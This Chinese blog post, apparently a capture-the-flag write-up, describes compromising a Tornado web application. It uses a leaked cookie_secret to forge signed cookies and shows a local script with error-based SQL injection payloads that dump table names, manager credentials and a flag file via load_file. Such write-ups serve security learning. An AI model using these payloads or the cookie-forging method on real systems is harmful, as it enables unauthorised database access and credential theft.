XSS平台

作者: Yix1a | 来源:发表于2019-06-01 23:40 被阅读0次
  • 进入网页查看整个页面,发现最下面提示是tornado编写的。
  • tornado编写的一般会报错一些东西,所以用burpsuit抓包。
  • 抓取login页面,破坏POST文本结构,发现报错。
Traceback (most recent call last):
  File "/usr/lib64/python2.6/site-packages/tornado-4.2b1-py2.6-linux-x86_64.egg/tornado/web.py", line 1413, in _execute
    result = method(*self.path_args, **self.path_kwargs)
  File "/var/www/html/rtiny/login.py", line 20, in post
    if True not in [f in self.get_argument("email") for f in sql]:
  File "/usr/lib64/python2.6/site-packages/tornado-4.2b1-py2.6-linux-x86_64.egg/tornado/web.py", line 385, in get_argument
    return self._get_argument(name, default, self.request.arguments, strip)
  File "/usr/lib64/python2.6/site-packages/tornado-4.2b1-py2.6-linux-x86_64.egg/tornado/web.py", line 462, in _get_argument
    raise MissingArgumentError(name)
MissingArgumentError: HTTP 400: Bad Request (Missing argument email)
def post(self):
        username = self.get_secure_cookie("username") or ''
        passwd = md5(self.get_argument('password', ''))
        row = db.ct("manager", "*", "username='" + username + "' and password='" + passwd + "'")
        if row:
            self.set_secure_cookie("lock", "0")
            self.redirect("http://" + URL)
        else:
self.redirect("http://" + URL + "/lock")

  • sql语句为select * from manager where username = 'username' and password = 'passwd'
  • 可以看到username并没有任何过滤,但是有一个get_secure_cookie函数。学过tornado的都知道,这是个cookie加密函数。需要密钥cookie_secret。可以在index.py中找到。
  • 然后本地构造一个tornado-web。来加密任意的cookie文本。
import tornado.ioloop
import tornado.web

class MainHandler(tornado.web.RequestHandler):
    def get(self):
        username = self.set_secure_cookie("要输入的sql注入语句。")
        #self.set_secure_cookie("username","' and extractvalue(1,concat(0x5c,(select version()))) -- ")
        #self.set_secure_cookie("username", "' and extractvalue(1,concat(0x5c,(select group_concat(distinct table_name) from information_schema.tables where table_schema=database())))-- ")
        #self.set_secure_cookie("username","' and extractvalue(1,concat(0x5c,(select group_concat(distinct column_name) from information_schema.columns where table_schema=database() and table_name='manager')))-- ")
        #self.set_secure_cookie("username","' and extractvalue(1,concat(0x5c,mid((select group_concat(username,'|',password,'|',email) from manager),30,62))) -- ")
        #self.set_secure_cookie("username", "' and extractvalue(1,concat(0x5c,(select load_file('/var/www/html/f13g_ls_here.txt'))))#")
        #self.set_secure_cookie("username", "' and extractvalue(1,concat(0x5c,mid((select load_file('/var/www/html/f13g_ls_here.txt')),28,60)))#")

def make_app():
    return tornado.web.Application([
        (r"/", MainHandler),
    ], cookie_secret="M0ehO260Qm2dD/MQFYfczYpUbJoyrkp6qYoI2hRw2jc=")


if __name__ == "__main__":
    app = make_app()
    app.listen(8888)
    tornado.ioloop.IOLoop.current().start()
  • 然后用得到的cookie,在burpsuit上post传输到lock中就可以得到。

相关文章

  • 安全测试⑤(XSS攻击part2:攻击平台/蠕虫/调试JS)

    ②XSS攻击平台 XSS攻击平台是将XSS Payload封装起来便于人们使用,并可用于渗透测试。 i) Atta...

  • XSS平台

    进入网页查看整个页面,发现最下面提示是tornado编写的。 tornado编写的一般会报错一些东西,所以用bur...

  • 白帽子讲web安全-跨站脚本攻击(2)

    一 XSS攻击进阶 1 XSS攻击平台 攻击平台的主要目的就是为了演示xss的危害,以及方便测试使用,常见的有at...

  • 构造个人轻量级XSS平台获取管理员cookie并登录

    构造个人轻量级XSS平台获取管理员cookie并登录 一、前言 本平台是个人轻量级XSS测试平台,仅作为练习参考。...

  • 脚本关-12

    题目:XSS基础关 题目描述: XSS基础:很容易就可以过关.XSS类题目必须在平台登录才能进行.登录地址请参考左...

  • XSS获取cookie并发送自己邮箱

    存储型XSS可以打到cookie,然后利用cookie去登陆别人账户,一般大家都使用XSS平台获取cookie,突...

  • 搭建公网XSS平台

    前言 互联网上有许多XSS平台,但终究没有自己搭建的用的放心。正好最近看到花生壳内网穿透可免费提供一域名。所以就来...

  • 跨站攻击脚本-XSS

    XSS: Cross Site Scripting XSS 概念 XSS 分类 反射型xss攻击图示 XSS 攻击...

  • XSS payload.

    alert('XSS') alert("XSS") alert('XSS') alert("XSS") S...

  • test

    alert('xss')alert('xss') alert('xss')

网友评论

      本文标题:XSS平台

      本文链接:https://www.haomeiwen.com/subject/lyuztctx.html